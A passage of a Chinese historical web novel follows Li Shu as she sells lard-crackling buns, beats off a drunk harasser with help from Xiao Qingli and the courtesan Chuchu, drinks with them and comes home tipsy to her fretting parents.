“娘，锅里留点油，等会炒菜。”铁锅边上泛着油光，正好用来炒些白菜，素菜吸油，肯定很香。
“好。”
熬猪油费了好些时辰，一家人早就饿了，可今日李姝却只炒了一个白菜。
“姝儿，今晚咱就吃一个菜吗？”张翠花瞧着这桌上一道孤零零地白菜，有些不解，“再炒一个不费事，要不娘再做一个？”
“娘，你先看看这米饭再说？”李姝把刚端出来的一大盆米饭放在了桌上，今日的米饭像是比平日多了不少。
不止如此，米饭颜色棕黄泛着油光，像是拌了酱油，闻着有猪油的香气。
李姝把刚切好的葱花倒进去，搅拌间热气四散，刚炸的猪油香气十分浓郁，顿时扑面而来，“姝儿，这是炒饭吗？”
李姝给个人舀了一碗，闻言笑道：“不是，这是猪油拌饭，爹，娘，你们快尝尝好不好吃。”炒饭太慢了，今日太晚，拌饭又快又香，还不缺油水，最是合适。
李忠早已饿得肚子咕咕叫，女儿的手艺他从未怀疑，立马便拿起碗筷呼噜了一大口。
入口便是满嘴的油香，这刚炸的猪油香味浓郁，拌在饭里吃着还有肉味，李忠大口嚼了又嚼，一碗饭只几口便被他吃完，“姝儿，饭里拌了什么？酥酥脆脆地，比肉还香。”
“你这是囫囵吃的什么，连油渣都不知道了吗？”张翠花白了自家男人一眼，这米饭怕是只过了下他的口便被咽下了肚。
李忠嘿嘿一笑，“许久没吃过油渣了。”
李姝笑着看自家爹娘拌嘴，权当多了个下饭菜。
张翠花也没空再拌嘴，这米饭实在是香，闻着便让人忍不住流口水，酥酥脆脆的油渣像是撒了些盐，拌在饭里又香又脆，吃进嘴里恨不得将舌头咬断。
几人吃完一碗饭才发现桌上唯一的一道菜被忽略了，这米饭比菜还好吃，怪不得女儿饭蒸得比菜还多。
李忠抽空夹了一筷子白菜，白菜就着半锅边的油下锅，又加了油渣进去炒，早就吸满了油香。
李姝特意多放了些水，盐也放得比平日少，取的便是这白菜的清甜，汤汁中清甜还带着肉香，在这渐凉的天里喝上一碗，热气腾腾地能直暖到人心底，别提多舒服了。
“这白菜汤也好喝。”张翠花接连喝了两碗，从前自个怎么没想到加些油渣煮汤呢，又甜又香，油水也足，姝儿这厨艺可真是越来越好了。
李忠把剩下的米饭全都舀进碗里，最后一点白菜汤也没浪费，全都倒在饭中，吃了一碗清甜的汤泡饭，只两口便囫囵下了肚。
他忍不住打了个嗝，放下碗筷便摊着休息，旁边的娘俩早就摊下了。
又是熟悉地饭后发呆时刻，这些日子肉吃得多，一家人脸色都红润了不少，吃肉果然让人幸福。
“娘，我的鞋底好像磨坏了。”李姝不顾形象地打了个嗝，拉着她娘开始闲聊。
张翠花眼皮微抬，立马回道：“娘给你做双新的。”
“你给爹做了那么多双，我也要。”
“好，定做得比你爹的鞋还多。”
“娘，要绣上花，好看。”
“嗯，好。”
李忠在一旁插话，“翠花，我也要一双绣面的。”
张翠花白了一眼，“草鞋绣什么面，快洗碗去。”
......
饭后闲聊终于结束，李忠灰溜溜出去洗碗了，张翠花拿出油纸开始裁，李姝去书房练字，也就没听见后来爹娘房中她爹舔着脸要绣面鞋的无赖。
翌日，李姝拿了一半的油渣切碎，又加了点菌菇丁混着，炒香后拌入了白菜碎中，做了十来个素馅的包子。
白菜裹了满满的油香，炒过的油渣和菌菇丁多了股焦香味，最后被白菜包着浸满了鲜甜，嚼起来既有肉的韧劲又有白菜的爽脆，口感十分丰富。
如今天气渐凉，肉包子反而成了工人们的首选，馅饼已是越做越少。
这是李姝所期望的，等锅定做好了，她打算以后都卖包子。
馅饼要刚出锅才好吃，若是凉了上锅加热，则会口感不好，天气冷了就不适合再拿这么远去卖了。
“姝儿，这白菜油渣包子，卖多少钱？”张翠花瞧着这半荤半素的包子有点为难，这到底是算素馅还是肉馅？
县里的素馅包子是一文钱两个，可李姝尝过，陈记的包子馅其实量不多，况且素馅包子肯定不会放荤菜，甚至可能连油都放得少。
“一文钱一个。”
这已经算是半荤的包子了，若是和普通素馅包子一样的价钱，以后肉馅包子也不好定价。
不出所料，新出的素馅包子最先引起了工人的注意。
只是却
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也引来了一些人的不满，“姝丫头，这不是素馅包子吗？怎地卖这么贵？”
“叔，这是白菜油渣馅的，还放了点菌菇丁，不是纯素菜。”
可即使解释了，也还是有人撇着脸在人群中嘀咕，“不过就是加了几块碎渣子，便要一文钱一个，钱三果然说得没错，他们就是想多赚我们的钱。”
也有觉得这包子值的，“县里可没有哪一家包子的馅料有这般足的，包子个头大，味道也好，一文钱买一个，也不亏。”
李姝没出声，众口难调，她没必要讨好每一个人。
无论如何，包子还是卖完了，今日李姝把包子数量增加到了五十个，竟是最先卖完的，平日里最受欢迎的是馅饼，如今倒是掉转了。
“张娘子，姝丫头，这包子做得太少了，我排了两日都没买到，明日能否多做些？”吃不到肉的汉子只能恶狠狠地啃黄瓜鸡蛋馅饼，就着别人手中的包子咽下肚，可却越来越馋。
张翠花扭头看着女儿，这事得由女儿做主。
“成，明日我们多做些。”李姝应得十分爽快，这本就是她计划中的，正好合了她的心意。
今日煮的是绿豆水，钱三没来，他婆娘也不在，没了出头胡搅蛮缠的人，众人倒是安安分分地将绿豆水分喝了。
远处的水缸又变回了四个，李姝心下有些可惜，若昨日那些公子小姐再来一回，这水缸能再多一个。
可这不是她能插手的，李姝收回视线，拿起背篓往县里走了。
身后望着李姝背影的王涛神色复杂，眼皮耷拉着有些委屈，不是说和她娘一道去县里吗？原是在骗我。
顿了顿又突然想到，今日钱三没来，她又是一个人，万一......
只是想到她可能被人欺负，王涛心里便怒火升腾。
他把包子囫囵塞进了嘴，立马躺下闭眼休息，今日得打起精神，万一钱三找人报复，他得保护她。
李姝今日一口气买了五斤五花肉，到固生堂买香料时恰巧遇见钱三一瘸一拐地从固生堂出了门，摇摇晃晃的模样，竟像是...喝醉了？
既然撞上了，自然没有放过的道理，李姝抬脚便跟了上去。
钱三骂骂咧咧地走出了固生堂，“啐，遭了瘟地黑心大夫，这么点伤竟敢要三十多文，我换几两黄酒下肚也不会把钱给你们。”
这么点伤他本就不放在眼里，今日请假也不过是因着心里憋闷，一想到昨日被打的跪地求饶，钱三心里便憋闷得厉害。
他掂了掂腰间的钱包，反正那死鱼脸说了他身体没有大碍，至于说要休养十天半个月，啐，这些钱不如拿去继续买酒喝。
于是他抬脚就往方才的脚店走去，准备续上没尽的兴。
钱三晃晃悠悠走着，却突然发现前面不知什么时候多了个熟悉的人影。
那女子背着背篓，正一路走走停停地左瞧右瞧，十分惬意。
钱三立马眼冒精光，粗重的呼吸带起了狞笑，脚店也不去了，抬脚便跟在了那女子后面。
“李姝，今日可没有王涛那小崽子护着你，看你还怎么逃出我的手掌心！”
53. 第 53 章
萧青璃坐在靠窗的桌前，手上的酒杯被她时不时转动，半晌也不见喝进嘴。
对面倚窗的女子终于露出一丝无奈，凤眼微抬，朱唇挑起一抹浅笑，霎时间眼波流转，盈盈水光似清泉流动，万般风情萦绕眉梢。
只可惜，美人对面坐着一个不懂欣赏的愣子，不对，是愣女！
“行了，我这上好的雕花杯快被你磨平了，今日究竟有什么事？”美人嗔怒，连声音都绵软温柔，格外撩人。
然而萧青璃只叹了口气，英气的眉梢耷拉着，连头都未回，“楚楚，女子一定要嫁人吗？”声音幽幽，少女的心事总是能让人觉得天塌地陷，再心大的人都被压得没了精气神。
楚楚拿起酒杯的手一顿，只一瞬又恢复，凤眸掩住了一闪而过的异样，细腰半折，半杯的酒仰头一饮而下，带着些飒意的风情。
“我们家阿璃难道是开窍了？告诉姐姐，看上哪个小郎君了？”声音带着明显的促狭，一听便知是调笑。
萧青璃终于转头，眼神幽怨，倒是少见的撒娇。
“噗嗤。”美人低头掩唇，眉眼顿时舒展，“好了，不逗你了。”
楚楚款款起身，侧腰而坐，素手搭在萧青璃肩上，脸上总算带着正经的笑意，“怎么了？又被那些嘴巴伶俐的小姐妹刺得动气了？”
萧青璃白了一眼，“她们日日都是那些车轱辘话，一点新意都没有，还不值得我发愁。”
说罢又转头望向窗外，声音有些沉闷，“我祖母又想给我塞个婚事，上回那个已经够不靠谱了，如今竟还想再插手。”
萧青璃抽了抽鼻子，咽下了未出口的话，要是我娘还在，定不会这般。
想着想着，竟突然有些委屈，人人都说是她霉星转世，克死了她娘，可殊不知，最想让娘活着的便是她。
身后的人暗笑着摇摇头，也不去管快哭的少女，拿起酒壶又倒了一杯酒，这回倒是没有豪饮，只轻啜一口，任由辛辣缓慢滑过喉间。
半晌，见满腹心事的少女还趴在窗台闷气，终是开了口，“年关回京后和你祖母说说，不是说她还是疼你的吗？你若真的不乐意，便好好和她说清楚，她应是不会逼你。”
萧青璃没应声，楚楚以为她顾虑京中其他人的口舌，温声出着主意，“至于其他人，你也不用担心，届时去你外祖母家一趟，自有你外祖母帮你撑腰。”
话出口又觉得有些不妥，没得让阿璃与家人离了心，于是补充道：“不过得先跟你祖母说好，免得伤了她的心，阿璃？阿璃？”
说了这半晌，也不见萧青璃回头，只趴在窗台往外探头。
这是瞧见什么了？这般入神，楚楚走上前一道趴着。
只见窗下巷子里，一个背着背篓的年轻女子正走了进来，后面还跟着一个摇摇晃晃地醉汉。
年轻女子像是知道后面有人，快步走到拐角后把背篓放下，又在角落捡了根棍子，在醉汉跟上正要拐弯时，一棍子敲在了醉汉的脑门上。
醉汉闷哼一声，下意识弯腰，双手捂住额头，年轻女子眼疾手快地又从上往下敲了好几棍，直打得那醉汉惨叫连连。
只是年轻女子的力量终究敌不过男子，醉汉反应过来后，伸手抓住了女子手上的木棍。年轻女子用力拉动了几回也没抢回来。
萧青璃手猛地撑住窗沿，正想翻身下去。
楚楚转头，有些诧异，这是认识？
她扭头继续往下瞧，只见那女子竟颇为机灵，双手突地就放开了木棍，惹得那没有准备的醉汉往后仰了几步。
她也不恋战，转身便往巷子深处跑，亏得那醉汉喝得摇摇晃晃，一下竟也没追上她。
见这情景，萧青璃若无其事地抱胸站定，现在好像无需自己出手。
那女子又跑到了拐角后停下，在角落中拿了个木筐停拐角处，等那醉汉猛地跑上前准备拐弯时，年轻女子故技重施，唰的一下把木筐套在了醉汉的头上。
趁着醉汉失去视线的时机，年轻女子一脚踹在了那醉汉的□□。
惨叫声顿时响彻整个后巷。
这声音惹得楼上的两人下意识地哆嗦了一下。
“哦哟，这小姑娘倒是生猛！”楚楚扶着窗台瞧着楼下的热闹，声音轻软，语调却又微微上扬，又柔又媚的声音像是一把钩子，轻易地把人的注意力勾了过来。
巷子里的两个人都被这突兀的声音吸引了注意力，纷纷往上抬起视线。
尤其是钱三，他刚挣扎着甩开木筐，□□传来的刺痛彻底将他激怒，正准备上手抓住李姝。
却突然听到这柔媚的声音，媚音入耳，一瞬间他觉得自己骨头都酥了，愣是忽略了身前的李姝，抬头便往窗台上瞧。
只见一个肌肤胜雪，娇媚动人的女子正一脸笑意地瞧着自己，钱三眼中顿时露出色欲的目光，眼珠子咕噜噜地转个不停，色眯眯地脸上硬是被他扯出了一抹笑意。
至于楚楚旁边的萧青璃，他连眼神都没给，只当是个不重要的丫鬟。
他这皮笑肉不笑的模样让他看着更加丑陋，在场三人都被他脸上油腻的红光刺得泛恶心。
萧青璃眯眼皱眉，对着李姝扬声开口，“要帮忙吗？”
李姝顿时回神，她反应过来，一把捡起了地上的木棍，抬手又一棍子敲了下去，同时回道：“暂时不用。”
钱三一个不防，又挨了一棍子，这才终于想起来解决正事。
只是终究是他太小瞧李姝了，所以才敢当着面走神。
他本就喝得有些身软无力，李姝没有给他机会，在他又伸手抓棍子时立马便松了手，脚上趁机往他□□踹了过去。
“啊！”钱三被刺痛激得弯下了腰，这一脚再加上方才那一脚，痛意让他的整个身体都在不自觉地抖动，他并腿缩着身子，再也没了反抗的力气。
李姝又抢回了棍子敲在了他后背，这一下，将他打得趴在了地上。
“钱三，你若是还想挣钱，便安安分分地该做什么做什么，若你往后还敢打我的主意，那我拼了命也会跟你同归于尽。”
李姝停下了手中的木棍，脸上再也没了平日里笑意盈盈的模样，眼中的狠意让钱三莫名瑟缩了一下。
他毫不怀疑，这平日里披着一张笑脸面皮的李姝定是能拉着自己同归于尽。
钱三哆嗦着应下，他实在无力反抗，昨日本就被王涛揍了一顿，今日又被伤了重要部位，他如今只想看看自己的命根子是否无恙。
只是李姝还是低估了无赖的恶劣，钱三面上服软害怕，转身之际却悄悄掩下了眼中的幽光。
说到底李姝不过是一个小丫头，今日趁着他醉酒占了上风本就是意外，他心里只想着往后定要找个合适的机会拿下这贱人，好出了这几日的恶气。
李姝没看到他瑟缩脸色下的狠劲，可有人看到了。
“阿璃，你可知道，这男人若是翻起脸来那是比翻书还快。”
萧青璃转头，面露疑惑，李姝也同样抬头，不解这美人为何突然这般说。
被瞧着的美人没有转身，只盯着巷子中那扶墙而走的醉汉，嘴角挑起的角度竟是有些难得的严肃。
“他们前一刻有多害怕，下一刻便有多狠，往后你祖母帮你挑夫婿时，可要自己瞧清楚了，遇到这样的人，就应该打得他见你一眼都害怕，不可心软。”
这话一出，萧青璃终于懂了。
“慢着。”
她出声止住了钱三的逃离，撑手翻身而下。
钱三终于害怕了起来，他知道萧青璃非富即贵，又有这般身手，怕是不会放过自己。
于是他硬是撑起一口气，抬腿便跑了起来，可他这速度又怎么跑得过从小便在军营中打滚的萧青璃。
只过了几息，便被萧青璃一脚踹回了李姝脚下。
李姝只感觉地面震了震，随后便听到了脚下钱三的哀嚎，这痛苦的叫声比方才李姝踹他命根子还凄惨，可见是真的伤到了。
只这
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一脚，便让钱三彻底害怕了起来，“萧小姐饶命，饶命，我再也不敢了，求求您大人大量，放过小民，小民再也不敢了，再也不敢了。”
钱三没空管自己五脏六腑的难受，只一个劲地开始磕头求饶，态度比之前恭敬了百倍。
李姝目瞪口呆，什么意思？我揍了半天，合着压根没让他长记性，这一脚倒是让他怕得连头都磕破了。
“你该求饶的可不是我。”萧青璃冷哼出声，“我瞧着你似是心有不甘，怎么，还想着谋划什么时候再堵这姑娘一回？”
钱三闻言，头磕得更狠了，“小民不敢小民不敢。”又转头对着李姝磕，“李小姐饶命，今日是我吃醉了酒糊涂了，我再也不敢了，求你大人大量，放过我，求求你，求求你。”
李姝蹲下，明明是笑着，眸中却冷得让人害怕，“你怎么保证下回真的不敢了？”
钱三磕头的动作顿住了，抬头间瞧见了李姝眸中的冷意，一瞬间瞳孔放大，害怕席卷全身，像是终于知道，李姝不会再放过他。
他哭得一把鼻涕一把泪，只磕头让李姝放过他。
可李姝经过美人的提醒，终于记起自己昨日对王涛说的话，这种人确实应该让他彻底害怕，才不会继续招惹自己。
她抬头，对萧青璃扬起一笑，“可以麻烦你一件事吗？”
萧青璃挑眉，“什么事？”
“找人把他送到县衙，意图欺辱未婚女子，我大启朝应有律法让他受罚吧？”
萧青璃点头，“自然，轻则杖刑，重则流放。”
此话一出，钱三瘫软在地，只是任凭他再怎么磕头，也没人再理了。
巷子里突然出现了两个壮汉，拖着他出了巷口，转眼便不见了。
李姝抬头，紫衣美人倚窗垂目，脸上恢复了一开始的柔媚之态，见李姝看她，她眼神一闪，嘴角浅笑荡漾，宛若鲜艳欲滴的花苞缓缓绽开，妩媚而娇艳，真真是绝色。
李姝......
内心疯狂捶墙，这就是传说中的男女通吃吧，谁能忍得住啊？
只是面上她还是尽力缓住了神态，对着两人道：“多谢两位出手帮忙，我...”
还没说完，便被萧青璃抬手打断，“不用客气。”话语中似是嫌她过于客套。
李姝怔愣了一秒，随即也放下了这无谓的寒暄，只展颜问道：“我叫李姝，该怎么称呼你？”
“萧青璃。”萧青璃又指了指楼上的美人，“她叫楚楚。”
“今日...”
李姝一句话还未说出口，又被急性子的萧青璃打断，“今日相逢就是有缘，可要一起喝酒？”
没办法，萧青璃看李姝有些顺眼。
第一次见面她便知道李姝聪敏坚韧，只是有着和普通百姓一样的顾虑，那便是避她如蛇蝎。
第二次见却又打破了她对李姝的印象，她才发现李姝不仅不怕，胆子还很大，又有难得一见的坦率，萧青璃便对她稍微上了心。
如今竟又意外见到，便真的是缘分了，萧青璃还发现了李姝新的一面，不仅坦率，还有些令人惊喜的泼辣。
她实在喜欢！
平日里她见得最多的，便是那有名无实的女子书院中只知道衣裳首饰胭脂水粉的千金小姐，好不容易见到一个不一样的，自然是稀罕得不得了。
她有些过于热情地拉着李姝往楚楚院中的后门走去，李姝插了好几句话都没插进去，只好扒着门框不放手。
这到底是邀请她喝酒，还是要绑了她卖身？
“等一下，等一下。”
总算是把沉浸在自己思绪的萧青璃叫回了神，李姝笑得有些无奈，“我的背篓还没拿。”
萧青璃立马热情回应，“我帮你。”说罢也不管李姝应不应声，转身便跑了出去，平日里她和常青那一帮大咧咧地大男人呆惯了，行事上总是带着些不过脑的莽撞。
李姝却因着这莽撞放下了心，赤诚之人自是值得相交的。
54. 第 54 章
李姝被拽进了屋里，美人早已满酒迎客。
楚腰蛴领，美目生辉。
萧青璃把手中拎着的背篓放在门边，抬头见李姝站着不动，还以为她生疏，谁知站了半晌的李姝张口就说：“楚楚，你真好看，我看见你都要走不动道了。”
两声轻笑响起。
“哎哟，小嘴真甜。”楚楚细眉弯弯，笑得花枝娇颤。
她立马上前拉着李姝入座，这小丫头泼辣又机灵，一双透澈的眼睛像是会说话，让人一看便欢喜。
萧青璃浅笑着点头附和，“英雄所见略同，我第一次见楚楚也差点走不动道。”
楚楚掩嘴一笑，算作回应。
三人坐定，李姝率先拿起酒杯，“楚楚，阿璃，今日多谢你们...”说完这话，李姝突然有些卡壳，接下来好像也没什么能说的。
我没什么能报答的，只能以茶代酒？额，这本来就是酒。
只能敬你们一杯聊表谢意？好像很奇怪。
往后缬草衔环，定当报答？会不会太夸张？
此时四只眼睛齐刷刷地盯着她，她低头看了一眼杯中的酒，突然急中生智地来了一句，“多余的我就不说了，都在酒里了。”
“好！”这话莫名地对了萧青璃的胃口，她跟着站起身，举起酒杯便和李姝碰了碰。
楚楚凤眸微挑，眼前的两个小姑娘都比自己小，却都有着自己所没有的利落性子，她似是被带动了情绪，也跟着说了声好。
三人碰杯后便仰头一口闷下了整杯酒。
这略带豪气的酒桌行话顿时让整个屋内都开始热络了起来。
“小姝，今日那醉汉你认识？”萧青璃问出了早就想问的话，李姝一看便是故意引着那醉汉进来的，不像是新仇，倒像是旧恨。
李姝把这几日的前因后果都说了出来，“本想趁着他醉酒揍他一顿，让他知道我没那么好惹，却不曾想竟还是低估了他的恶念。”
若不是楚楚看出了他眼底的阴毒，她后面怕是真的要吃亏。
萧青璃暗暗记下，这事的源头还是因为监工供水少的缘故，不然李姝也不至于连好心送水都被记恨。
本以为那监工能识相，谁知竟还敢阳奉阴违。
“那人送去县衙至少能挨十几二十棍，他若脑子没坏，应不敢了。”
至于监工的事，萧青璃未明说，往后她自能解决。
李姝点头，“还亏得楚楚提醒。”
“道谢的话就别说了，阿璃的朋友便是我的朋友，往后你若是有空，可来找我喝酒。”说话间长颈微仰，楚楚又是一杯酒下肚。
可瞧着脸色却丝毫未变，可见酒量非一般。
李姝打量着屋内，陈设整齐，屋内没有寻常女子的精美摆件，倒是陈列着许多书，整个屋内典雅且书卷气浓厚，瞧着倒像是读书人家中的闺房。
“楚楚，这是你平日的住处吗？好多书。”
楚楚跟着环视了一圈，有些意味不明地笑了，“算是吧。”
萧青璃突然棒槌地接了句：“全是装样子的，我都没瞧见她打开过。”
美人没有动怒，只眼眸流转，美目微微上勾，顿时眸中荡起诱人的水波，同时语出惊人，“这还是我平日与阿璃幽会的地方。”
“咳咳！”萧青璃一口酒噎住不上不下，咳得脸都红了。
我虽然读书少，可也知道幽会不是这么用的！
“哦？”李姝来来回回在两人身上打量，笑得眉眼弯弯。
楚楚朱唇微勾，“怎么了阿璃，不是你说的要包我一个月吗？”说罢眼中还露出楚楚可怜的神情，仿若被负心汉欺了心。
也不知是不是这酒开始醉人，楚楚愈发停不下来，“我知道你嫌晚上太吵，所以只能在白日里找我幽会，我不怪你，可你怎地，你怎地还不认了呢？”
“还说没瞧见我翻书，你倒是说说，你一个月来看了我几回？”
说罢竟开始抬袖抹泪，“嘤嘤嘤。”
此哭声一出，李姝和萧青璃同时抖着身子摸了摸手臂。
李姝使眼色，阿璃，她平日里喝了酒都这样吗？
萧青璃回视，偶尔吧。
李姝探头，悄声道：“阿璃，你怎么会说包楚楚一个月？”
听到方才的话李姝已经明白了楚楚的身份，只是她平日里社畜惯了，说话做事总是盯着结
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果。
至于别人是什么身份又或者对她是什么看法，她通通都在乎不起来，只对自己想知道的事有反应。
因此也并未有任何异样的眼光，这对她来说再平常不过，只是对屋内的两人来说，倒是有些稀奇。
平日里听到楚楚的身份，就算再有教养的人，也多少会露出一些探究和打量，可李姝却仿佛毫不在意。
这让屋内两人心下都与李姝更亲近了些。
萧青璃也学着李姝探头，两人面对面头快碰上了，她才悄声说：“说来话长。”
“那长话短说？”
“英雄救美。”
李姝......这什么也没说啊？“再长一点？”
“那日...”
“要不我来说？”楚楚突然靠近，笑盈盈地盯着两人。
不知怎地，李姝下意识地缩了缩脖子，“不用不用。”
美人嗔怒的模样，她有点遭不住。
萧青璃暗暗递了个眼神，你也太怂了。
可她也硬气不了多久。
楚楚双臂攀上萧青璃脖颈，低头凑近，“阿璃，奴家如今被你包了，你却不来瞧奴家，惹得奴家只能日日呆在这小院里以泪洗面，阿璃，你好狠的心。”
萧青璃终于忍不住了，“楚楚，你，你先放手，痒，痒。”说罢也不管什么怂不怂了，立马便求了饶，“我错了我错了，我不该说你装样子。”
“那岂不是有钱又有闲？”
突兀的话打断了两人的打闹，气氛有一瞬间的凝固，随后两人“噗嗤”两声轻笑，倒是破了方才的气氛。
楚楚扭腰回身，对着李姝嗔怪一声，“没情趣。”又对着萧青璃，“这回放过你了。”
萧青璃长舒一口气，悄悄对着李姝投去赞赏，又狗腿地给楚楚倒了酒。
楚楚“哼”地一声，接过了酒杯，总算停止了作妖。
李姝试探出声，眼睛散发着八卦的光芒，“那英雄救美是...？”
“嗯？”带着警告意味的声音响起，萧青璃立马禁声，“下回说下回说。”
被救的美人不愿提，李姝懂了，看来又是个不怎么靠谱的事。
55. 第 55 章
李姝毫不意外地喝多了，这是自她来到这陌生的时代后最“放肆”的一次。
平日里在家中总是要顾忌着原身的性子，说话虽不再小心翼翼，可终究也是不敢跳出原身的圈子。
如今这两个与原身并不相识的人，是完完全全属于她的朋友，她终于不用再顾忌原身，在她们眼中，她就是桃李村的李姝。
她可以懒散，可以肆意大笑，也可以说很多她想说的话。
“小姝。”同样微醺的萧青璃一手拿着酒杯，一手绕在李姝脖颈，“没想到你酒量竟也这么，嗝，这么好。”
“再来，再来一杯。”说罢就要给李姝倒酒，只是她整个人摇摇晃晃地，酒都倒在了桌上。
黄酒顺着桌角滴在了地上，顿时房内酒气更浓。
李姝虽有些晕，可还保留了一点理智，红着脸摇头拒绝了，“我得回去了，太晚，我爹娘会担心。”
刚想站起身却被萧青璃压了回去，李姝顿时被压趴在桌上。
动弹不得，她只好无奈出声，“阿璃，你喝醉了力气怎地比没醉时还大？”
可喝醉了的萧青璃这会儿耍起了赖，也不管她说什么，抱着李姝的腰不放手。
口中还嘟囔着：“别走，你方才的话本子还没讲完，祝英台被发现女子的身份后怎么样了？梁山伯有没有和她在一起。”
李姝悔得肠子都青了，方才萧青璃谈到自己平日喜欢看话本子，李姝便顺嘴说了梁祝的故事，如今没说完，天色却晚了。
“阿璃，下回再说，我回去还得要小半个时辰呢。”扒了好半晌都没扒开腰间的手，李姝无奈转头，“楚楚，快来救我。”
靠坐在榻上的楚楚此时正发着呆，脸色倒是如常。
回头见这两个脸红得像樱桃的小姑娘抱作一团，顿时笑出了声。
“哎哟，小姝，不好意思，忘记告诉你了，阿璃喝醉了容易撒泼，尤其爱抱着人不放。”
李姝......
你这笑得前仰后合的，也没见有多少不好意思...
李姝试着站起身，萧青璃居然没再压着她，只是双手却还是紧紧抱着不放，大有李姝去哪她去哪的架势。
“那怎么办？”
榻上看热闹的楚楚闻言笑着打趣道：“能怎么办？把她带回去呗。”
李姝无奈，眼神里泛着楚楚可怜，“楚楚，我真的要回去了，爹娘会担心的。”
也不知是这话起了作用，还是李姝眼中的求饶起了作用，楚楚竟然真的松了口，“哄一哄她就好了，阿璃很好哄的。”
李姝：？？？
“阿璃，乖，我要回家了，咱们下回再聊好不好？”李姝试探着摸了摸萧青璃的手，语气温柔。
没曾想竟真的有用，萧青璃手松了松，只是还没放下。
李姝继续哄道：“我如今日日都要到县里买肉，往后有的是机会将那话本子说与你听。”
手还是没放下，这是没哄对？
“听话，你乖乖地，下回我便给你多讲些别的话本子可好？”
手又松了些。
李姝刚想扒开腰间的手，突然听到身后趴在她脖颈的萧青璃轻声道：“娘，我乖乖地，你别走。”
楚楚眼中神色一闪，有些诧异。
李姝倒是心下有些好笑，这是把自己当成娘了？她只好再次温柔地开口，“我保证，明日我们还能见到。”
萧青璃总算放下了手，只是还想拉着李姝的手，被楚楚一把抓了过去。
楚楚将萧青璃揽在怀中，抬头对李姝道：“我让人送你回去，别让你爹娘平白担忧。”说罢便朗声叫在隔壁候着的丫鬟去叫车。
李姝也没客气，只应了声“好。”
只是她也着实是喝多了，伸手提了半晌也没将背篓提起来，楚楚见状，把一个醉鬼扶到榻上后又过来帮另一个醉鬼。
可她不是李姝这从小在农村的野丫头，也不是萧青璃这种从小舞刀弄枪的莽小姐，这五斤肉让她来提真是有点难为她了。
两人只好走一步停三步地将肉抬到了院门口，此时去叫马车的丫鬟正好回来，身后跟着一个低头敛目的老汉。
“林伯，麻烦你了。”
林伯弯腰回道：“不敢，楚楚姑娘，这是老奴应该做的。”说罢又对着李姝道：“这位小姐，背篓交给老奴便好。”
竟是奴仆吗？
李姝没多问什么，只欠身道：“多谢了。”
又侧身和楚楚说道：“楚楚，方才忘记跟阿璃说了，明日我在北门处的茶馆等她，你帮我和她说一声。”
楚楚点头，“好，快回吧，哪日我有空了会差人同阿璃说，届时我们再姐妹叙话。”
正愁着怎么和楚楚约下次聚会的李姝闻言猛猛点头，“好，说定了。”
幸好是坐马车回去的，李姝到家时比平日只晚了少许。
只是...
“姝儿，你怎地喝酒了？发生什么事了？可是有人欺负你？”
刚进门，送走车夫的张翠花便一阵噼里啪啦地问话，焦急的语气怕是下一秒就要哭了。
李姝晕乎乎地趴在桌子上，脸红地仿佛发烧了一般，出口的话也迷迷糊糊，“没有，我自己喝的。”
李忠把水递给自家婆娘，张翠花接过，小心地喂女儿喝水，只是她明显不信李姝的话。
“你自己怎地喝酒了？你，你告诉娘，是不是，是不是有人欺负你了？”张翠花顿时一阵心痛，女儿从来都没喝过酒，如今这般，怕是...
李忠拧着眉在一旁仔细观察，发现自家女儿衣衫整洁，头发也没乱，心下松了不少，只是女儿突然这般醉醺醺地回来，他也说不好到底有没有出事。
只好在一旁焦急地等女儿说话。
而李姝，她发现趴着不舒服，整个人天旋地转，坐也坐不稳，只好一个劲地拱着身子往她娘怀里靠，嘴里还撒娇着呓语：“娘，我难受。”
听见这话的两人感觉天都塌了。
“哎哟！老天爷啊，我的女儿怎地就这么命苦啊？”张翠花揽着自己女儿嚎得惊天动地，李姝感觉更晕了。
“娘，我没事，就是有些头晕。”
张翠花紧紧揽着女儿，声音已经开始颤抖，“姝儿，告诉娘，是谁欺负了你？啊？你告诉娘，是哪个天杀的畜生欺负了你？爹和娘就算是拼了命也要让他付出代价！”
后知后觉的李姝总算是反应过来她娘在嚎什么，她有些尴尬地扯了扯嘴角，弱声开口：“娘，是我自己喝的，我今日认识了两个朋友，便和她们一起
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喝了酒。”
“真的？”
“真的！”
“你这憨丫头，吓死爹娘了！”说罢也不抹泪了，张翠花直接把自家女儿往桌上一扔，起身便走。
李姝茫然地抬头和她爹对视，这是怎地了？
李忠：你这丫头，喝酒就算了，回来竟是连话都说不清楚，看你娘等下怎么收拾你！
李姝......
爹，你想说什么？怎么挤眉弄眼的？
不一会灶房传来动静，李姝再次茫然转头。
她娘正端着一碗...水？走过来？
“家里没有蜂蜜，凑合用白萝卜水醒醒酒，不然明日头疼可有得你受的。”
虽说生气，可张翠花也不舍得揍自家女儿，女儿方才软软糯糯地靠在自己怀里撒娇，这么可爱，她又怎么舍得打骂？
李忠......
翠花，我平日喝酒你不是这样的。
“李忠，你杵着做什么？快把女儿抱回房里，没看她坐不住了吗？”
说完又温柔地对李姝道：“姝儿，除了头晕可还有别的不舒服？娘等会给你换个衣裳，你好好睡一觉，啊。”
李姝笑嘻嘻地看着她娘，眼里水汪汪地，把一旁的李忠和张翠花看得心都化了。
突然，李姝伸手抱着张翠花的脖子，“娘，你真好，我爱你。”说罢竟直接亲了她的脸颊。
张翠花笑得脸上开了花，要知道女儿只有在五岁前亲过自己，她长大了虽说也与自己亲近，可也不会再像小时那般依赖父母了。
一时间，张翠花竟有些无措，抱着自家女儿站也不是坐也不是。
只一个劲地拍着女儿的后背，“哎哟，娘的小乖乖，喝醉了怎地这般可爱呢。”
母女俩在腻歪，李忠不死心地凑过去，“姝儿，那爹呢？”
李姝抬头，笑了，“爹，我也爱你。”
“嘿嘿。”李忠笑得脸上的皱纹都抻平了，“翠花，你听到了吗？姝儿说也爱我呢。”
张翠花白了一眼，“知道了，快把女儿抱回房里。”
“好咧。”
李姝连晚饭都没吃，直接一觉睡到了天亮。
起来后看着爹娘对着自己笑得...有些诡异？
她昨晚是做了什么吗？？？
“嘿嘿，姝儿，快吃，这是你娘特意熬的粥。”李忠舀了一碗粥给自家女儿，又在一旁盯着不走，像是怕李姝不吃。
李姝......
爹，你是吃错药了吗？
李姝转头对着她爹乖巧地笑了笑，谁知他爹更激动了......
李姝和灶房门口的她娘对视了一眼，眼神示意着，娘，爹是疯了吗？
“李忠，肉馅剁好了吗？”
李忠只好依依不舍地进了灶房，留下一脸茫然的李姝。
张翠花心下有些好笑，不就是女儿对他说了句甜话吗？这么高兴。
